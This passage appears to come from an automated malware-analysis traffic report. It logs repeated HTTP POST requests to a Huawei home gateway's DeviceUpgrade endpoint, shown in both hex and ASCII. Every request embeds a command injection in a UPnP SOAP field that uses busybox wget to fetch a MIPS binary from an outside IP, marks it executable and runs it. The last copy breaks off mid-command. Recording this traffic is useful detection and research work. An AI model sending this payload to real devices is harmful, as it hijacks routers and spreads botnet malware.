31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r /..23091t/mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 39 34 2e 31 38 36 2e 32 35 30 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 2e 2e 32 33 30 39 31 74 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.94.186.250 -l /tmp/kh -r 